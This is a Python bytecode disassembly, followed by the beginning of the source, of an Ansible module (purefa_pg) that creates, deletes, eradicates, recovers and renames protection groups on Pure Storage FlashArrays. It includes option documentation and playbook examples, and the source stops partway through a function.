POP_TOP LOAD_FAST changed EXTENDED_ARG JUMP_IF_TRUE_OR_POP LOAD_FAST renamed STORE_FAST changed LOAD_FAST module LOAD_ATTR exit_json LOAD_FAST changed LOAD_CONST ('changed',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST x LOAD_FAST x LOAD_DEREF cased_pgvols COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST x LOAD_FAST x LOAD_DEREF cased_pghosts COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST x LOAD_FAST x LOAD_DEREF cased_pghostg COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST True STORE_FAST changed LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST ':' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST '::' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP not in POP_JUMP_IF_FALSE SETUP_EXCEPT to 84 LOAD_CONST '' LOAD_METHOD join LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR CALL_METHOD STORE_FAST target LOAD_FAST array LOAD_ATTR destroy_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST target LOAD_CONST True LOAD_CONST ('on', 'eradicate') CALL_FUNCTION POP_TOP POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Eradicating pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_FORWARD to 200 SETUP_EXCEPT to 156 LOAD_FAST array LOAD_ATTR destroy_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_CONST True LOAD_CONST ('eradicate',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 200 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Eradicating pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 200 END_FINALLY JUMP_FORWARD to 274 SETUP_EXCEPT to 228 LOAD_FAST array LOAD_ATTR destroy_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_CONST True LOAD_CONST ('eradicate',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 274 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Eradicating pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 274 END_FINALLY LOAD_FAST module LOAD_ATTR exit_json LOAD_FAST changed LOAD_CONST ('changed',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST True STORE_FAST changed LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST ':' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST '::' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP not in POP_JUMP_IF_FALSE SETUP_EXCEPT to 82 LOAD_CONST '' LOAD_METHOD join LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR CALL_METHOD STORE_FAST target LOAD_FAST array LOAD_ATTR destroy_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST target LOAD_CONST ('on',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Deleting pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_FORWARD to 194 SETUP_EXCEPT to 150 LOAD_FAST array LOAD_METHOD destroy_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 194 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Deleting pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 194 END_FINALLY JUMP_FORWARD to 264 SETUP_EXCEPT to 218 LOAD_FAST array LOAD_METHOD destroy_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 264 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Deleting pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 264 END_FINALLY LOAD_FAST module LOAD_ATTR params LOAD_CONST 'eradicate' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL eradicate_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION POP_TOP LOAD_FAST module LOAD_ATTR exit_json LOAD_FAST changed LOAD_CONST ('changed',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST True STORE_FAST changed LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST ':' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST '::' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP not in POP_JUMP_IF_FALSE SETUP_EXCEPT to 82 LOAD_CONST '' LOAD_METHOD join LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR CALL_METHOD STORE_FAST target LOAD_FAST array LOAD_ATTR recover_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST target LOAD_CONST ('on',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Recover pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_FORWARD to 194 SETUP_EXCEPT to 150 LOAD_FAST array LOAD_METHOD recover_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 194 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Recover pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 194 END_FINALLY JUMP_FORWARD to 264 SETUP_EXCEPT to 218 LOAD_FAST array LOAD_METHOD recover_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 264 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'ecover pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 264 END_FINALLY LOAD_FAST module LOAD_ATTR exit_json LOAD_FAST changed LOAD_CONST ('changed',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL purefa_argument_spec CALL_FUNCTION STORE_FAST argument_spec LOAD_FAST argument_spec LOAD_METHOD update LOAD_GLOBAL dict LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST True LOAD_CONST 'pgroup' BUILD_LIST LOAD_CONST ('type', 'required', 'aliases') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST 'present' LOAD_CONST 'absent' LOAD_CONST 'present' BUILD_LIST LOAD_CONST ('type', 'default', 'choices') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'list' LOAD_CONST 'str' LOAD_CONST ('type', 'elements') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'list' LOAD_CONST 'str' LOAD_CONST ('type', 'elements') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'list' LOAD_CONST 'str' LOAD_CONST ('type', 'elements') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'list' LOAD_CONST 'str' LOAD_CONST ('type', 'elements') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'bool' LOAD_CONST False LOAD_CONST ('type', 'default') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'bool' LOAD_CONST False LOAD_CONST ('type', 'default') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'bool' LOAD_CONST True LOAD_CONST ('type', 'default') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST ('type',) CALL_FUNCTION LOAD_CONST ('name', 'state', 'volume', 'host', 'hostgroup', 'target', 'safe_mode', 'eradicate', 'enabled', 'rename') CALL_FUNCTION CALL_METHOD POP_TOP LOAD_CONST 'volume' LOAD_CONST 'host' LOAD_CONST 'hostgroup' BUILD_LIST BUILD_LIST STORE_FAST mutually_exclusive LOAD_GLOBAL AnsibleModule LOAD_FAST argument_spec LOAD_FAST mutually_exclusive LOAD_CONST True LOAD_CONST ('mutually_exclusive', 'supports_check_mode') CALL_FUNCTION STORE_FAST module LOAD_GLOBAL HAS_PURESTORAGE POP_JUMP_IF_TRUE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'safe_mode' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST "py-pure-client sdk is required to support 'safe_mode' parameter" LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_FAST module LOAD_ATTR params LOAD_CONST 'state' BINARY_SUBSCR STORE_FAST state LOAD_GLOBAL get_system LOAD_FAST module CALL_FUNCTION STORE_FAST array LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST '^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?$' CALL_METHOD STORE_FAST pattern LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST pattern LOAD_METHOD match LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Rename value {0} does not conform to naming convention' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_FAST pattern LOAD_METHOD match LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD split LOAD_CONST ':' CALL_METHOD LOAD_CONST -1 BINARY_SUBSCR CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Protection Group name {0} does not conform to naming convention' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_FAST array LOAD_METHOD _list_available_rest_versions CALL_METHOD STORE_FAST api_version LOAD_FAST module LOAD_ATTR params LOAD_CONST 'safe_mode' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL RETENTION_LOCK_VERSION LOAD_FAST api_version COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'API version does not support setting SafeMode on a protection group.' LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_CONST ':' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL OFFLOAD_API_VERSION LOAD_FAST api_version COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'API version does not support offload protection groups.' LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_CONST '::' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL AC_PG_API_VERSION LOAD_FAST api_version COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'API version does not support ActiveCluster protection groups.' LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_CONST ':' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST '::' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD split LOAD_CONST '::' CALL_METHOD LOAD_CONST 1 BINARY_SUBSCR STORE_FAST pgname JUMP_FORWARD to 506 LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD split LOAD_CONST ':' CALL_METHOD LOAD_CONST 1 BINARY_SUBSCR STORE_FAST pgname LOAD_FAST pattern LOAD_METHOD match LOAD_FAST pgname CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Protection Group name {0} does not conform to naming convention' LOAD_METHOD format LOAD_FAST pgname CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP JUMP_FORWARD to 580 LOAD_FAST pattern LOAD_METHOD match LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Protection Group name {0} does not conform to naming convention' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION STORE_FAST pgroup LOAD_GLOBAL get_pending_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION STORE_FAST xpgroup LOAD_CONST '::' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_pod LOAD_FAST module LOAD_FAST array CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Pod {0} does not exist.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD split LOAD_CONST '::' CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_FAST module LOAD_ATTR params LOAD_CONST 'host' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 712 SETUP_LOOP to 708 LOAD_FAST module LOAD_ATTR params LOAD_CONST 'host' BINARY_SUBSCR GET_ITER FOR_ITER to 706 STORE_FAST hst LOAD_FAST array LOAD_METHOD get_host LOAD_FAST hst CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK POP_BLOCK JUMP_FORWARD to 752 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Host {0} not found' LOAD_METHOD format LOAD_FAST hst CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 752 END_FINALLY LOAD_FAST module LOAD_ATTR params LOAD_CONST 'hostgroup' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 802 SETUP_LOOP to 798 LOAD_FAST module LOAD_ATTR params LOAD_CONST 'hostgroup' BINARY_SUBSCR GET_ITER FOR_ITER to 796 STORE_FAST hstg LOAD_FAST array LOAD_METHOD get_hgroup LOAD_FAST hstg CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK POP_BLOCK JUMP_FORWARD to 842 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Hostgroup {0} not found' LOAD_METHOD format LOAD_FAST hstg CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 842 END_FINALLY LOAD_FAST pgroup EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST state LOAD_CONST 'present' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL update_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION POP_TOP JUMP_FORWARD to 1086 LOAD_FAST pgroup EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST state LOAD_CONST 'absent' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL delete_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION POP_TOP JUMP_FORWARD to 1086 LOAD_FAST xpgroup EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST state LOAD_CONST 'absent' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'eradicate' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL eradicate_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION POP_TOP JUMP_FORWARD to 1086 LOAD_FAST pgroup EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST xpgroup EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST state LOAD_CONST 'present' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL make_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION POP_TOP JUMP_FORWARD to 1086 LOAD_FAST pgroup EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST state LOAD_CONST 'present' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR exit_json LOAD_CONST False LOAD_CONST ('changed',) CALL_FUNCTION POP_TOP JUMP_FORWARD to 1086 LOAD_FAST xpgroup EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST state LOAD_CONST 'present' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL recover_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION POP_TOP JUMP_FORWARD to 1086 LOAD_FAST pgroup LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST state LOAD_CONST 'absent' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR exit_json LOAD_CONST False LOAD_CONST ('changed',) CALL_FUNCTION POP_TOP LOAD_FAST module LOAD_ATTR exit_json LOAD_CONST False LOAD_CONST ('changed',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { "metadata_version": "1.1", "status": ["preview"], "supported_by": "community", } DOCUMENTATION = r""" --- module: purefa_pg version_added: '1.0.0' short_description: Manage protection groups on Pure Storage FlashArrays description: - Create, delete or modify protection groups on Pure Storage FlashArrays. - If a protection group exists and you try to add non-valid types, eg. a host to a volume protection group the module will ignore the invalid types. - Protection Groups on Offload targets are supported. author: - Pure Storage Ansible Team (@sdodsley) <[email protected]> options: name: description: - The name of the protection group. type: str aliases: [ pgroup ] required: true state: description: - Define whether the protection group should exist or not. type: str default: present choices: [ absent, present ] volume: description: - List of existing volumes to add to protection group. - Note that volume are case-sensitive however FlashArray volume names are unique and ignore case - you cannot have I(volumea) and I(volumeA) type: list elements: str host: description: - List of existing hosts to add to protection group. - Note that hostnames are case-sensitive however FlashArray hostnames are unique and ignore case - you cannot have I(hosta) and I(hostA) type: list elements: str hostgroup: description: - List of existing hostgroups to add to protection group. - Note that hostgroups are case-sensitive however FlashArray hostgroup names are unique and ignore case - you cannot have I(groupa) and I(groupA) type: list elements: str eradicate: description: - Define whether to eradicate the protection group on delete and leave in trash. type : bool default: false enabled: description: - Define whether to enabled snapshots for the protection group. type : bool default: true target: description: - List of remote arrays or offload target for replication protection group to connect to. - Note that all replicated protection groups are asynchronous. - Target arrays or offload targets must already be connected to the source array. - Maximum number of targets per Portection Group is 4, assuming your configuration suppors this. type: list elements: str rename: description: - Rename a protection group - If the source protection group is in a Pod or Volume Group 'container' you only need to provide the new protection group name in the same 'container' type: str safe_mode: description: - Enables SafeMode restrictions on the protection group - B(Once set disabling this can only be performed by Pure Technical Support) type: bool default: false version_added: '1.13.0' extends_documentation_fragment: - purestorage.flasharray.purestorage.fa """ EXAMPLES = r""" - name: Create new local protection group purestorage.flasharray.purefa_pg: name: foo fa_url: 10.10.10.2 api_token: e31060a7-21fc-e277-6240-25983c6c4592 - name: Create new protection group called bar in pod called foo purestorage.flasharray.purefa_pg: name: "foo::bar" fa_url: 10.10.10.2 api_token: e31060a7-21fc-e277-6240-25983c6c4592 - name: Create new replicated protection group purestorage.flasharray.purefa_pg: name: foo target: - arrayb - arrayc fa_url: 10.10.10.2 api_token: e31060a7-21fc-e277-6240-25983c6c4592 - name: Create new replicated protection group to offload target and remote array purestorage.flasharray.purefa_pg: name: foo target: - offload - arrayc fa_url: 10.10.10.2 api_token: e31060a7-21fc-e277-6240-25983c6c4592 - name: Create new protection group with snapshots disabled purestorage.flasharray.purefa_pg: name: foo enabled: false fa_url: 10.10.10.2 api_token: e31060a7-21fc-e277-6240-25983c6c4592 - name: Delete protection group purestorage.flasharray.purefa_pg: name: foo eradicate: true fa_url: 10.10.10.2 api_token: e31060a7-21fc-e277-6240-25983c6c4592 state: absent - name: Eradicate protection group foo on offload target where source array is arrayA purestorage.flasharray.purefa_pg: name: "arrayA:foo" target: offload eradicate: true fa_url: 10.10.10.2 api_token: e31060a7-21fc-e277-6240-25983c6c4592 state: absent - name: Rename protection group foo in pod arrayA to bar purestorage.flasharray.purefa_pg: name: "arrayA::foo" rename: bar fa_url: 10.10.10.2 api_token: e31060a7-21fc-e277-6240-25983c6c4592 - name: Create protection group for hostgroups purestorage.flasharray.purefa_pg: name: bar hostgroup: - hg1 - hg2 fa_url: 10.10.10.2 api_token: e31060a7-21fc-e277-6240-25983c6c4592 - name: Create protection group for hosts purestorage.flasharray.purefa_pg: name: bar host: - host1 - host2 fa_url: 10.10.10.2 api_token: e31060a7-21fc-e277-6240-25983c6c4592 - name: Create replicated protection group for volumes purestorage.flasharray.purefa_pg: name: bar volume: - vol1 - vol2 target: arrayb fa_url: 10.10.10.2 api_token: e31060a7-21fc-e277-6240-25983c6c4592 """ RETURN = r""" """ import re from ansible.module_utils.basic import AnsibleModule from ansible_collections.purestorage.flasharray.plugins.module_utils.purefa import ( get_system, get_array, purefa_argument_spec, ) HAS_PURESTORAGE = True try: from pypureclient import flasharray except ImportError: HAS_PURESTORAGE = False OFFLOAD_API_VERSION = "1.16" P53_API_VERSION = "1.17" AC_PG_API_VERSION = "1.13" RETENTION_LOCK_VERSION = "2.13" def get_pod(module, array): """Get ActiveCluster Pod""" pod_name = module.params["name"].split("::")[0] try: return array.get_pod(pod=pod_name) except Exception: return None def get_targets(array): """Get Offload Targets""" targets = [] try: target_details = array.list_offload() except Exception: return None for targetcnt in range(0, len(target_details)): if target_details[targetcnt]["status"] in ["connected", "partially_connected"]: targets.append(target_details[targetcnt]["name"]) return targets def get_arrays(array): """Get Connected Arrays""" arrays = [] array_details = array.list_array_connections() api_version = array._list_available_rest_versions() for arraycnt in range(0, len(array_details)): if P53_API_VERSION in api_version: if array_details[arraycnt]["status"] in [ "connected", "partially_connected", ]: arrays.append(array_details[arraycnt]["array_name"]) else: if array_details[arraycnt]["connected"]: arrays.append(array_details[arraycnt]["array_name"]) return arrays def get_pending_pgroup(module, array): """Get Protection Group""" pgroup = None if ":" in module.params["name"]: if "::" not in module.params["name"]: for pgrp in array.list_pgroups(pending=True, on="*"): if pgrp["name"].casefold() == module.params["name"].casefold(): pgroup = pgrp break else: for pgrp in array.list_pgroups(pending=True): if ( pgrp["name"].casefold() == module.params["name"].casefold() and pgrp["time_remaining"] ): pgroup = pgrp break else: for pgrp in array.list_pgroups(pending=True): if ( pgrp["name"].casefold() == module.params["name"].casefold() and pgrp["time_remaining"] ): pgroup = pgrp break return pgroup def get_pgroup(module, array): """Get Protection Group""" pgroup = None if ":" in module.params["name"]: if "::" not in module.params["name"]: for pgrp in array.list_pgroups(on="*"): if pgrp["name"].casefold() == module.params["name"].casefold(): pgroup = pgrp break else: for pgrp in array.list_pgroups(): if pgrp["name"].casefold() == module.params["name"].casefold(): pgroup = pgrp break else: for pgrp in array.list_pgroups(): if pgrp["name"].casefold() == module.params["name"].casefold(): pgroup = pgrp break return pgroup def get_pgroup_sched(module, array): """Get Protection Group Schedule""" pgroup = None for pgrp in array.list_pgroups(schedule=True): if pgrp["name"].casefold() == module.params["name"].casefold(): pgroup = pgrp break return pgroup def check_pg_on_offload(module, array): """Check if PG already exists on offload target""" array_name = array.get()["array_name"] remote_pg = array_name + ":" + module.params["name"] targets = get_targets(array) for target in targets: remote_pgs = array.list_pgroups(pending=True, on=target) for rpg in range(0, len(remote_pgs)): if remote_pg == remote_pgs[rpg]["name"]: return target return None def make_pgroup(module, array): """Create Protection Group""" changed = True if module.params["target"]: api_version = array._list_available_rest_versions() connected_targets = [] connected_arrays = get_arrays(array) if OFFLOAD_API_VERSION in api_version: connected_targets = get_targets(array) offload_name = check_pg_on_offload(module, array) if offload_name and offload_name in module.params["target"][0:4]: module.fail_json( msg="Protection Group {0} already exists on offload target {1}.".format( module.params["name"], offload_name ) ) connected_arrays = connected_arrays + connected_targets if connected_arrays == []: module.fail_json(msg="No connected targets 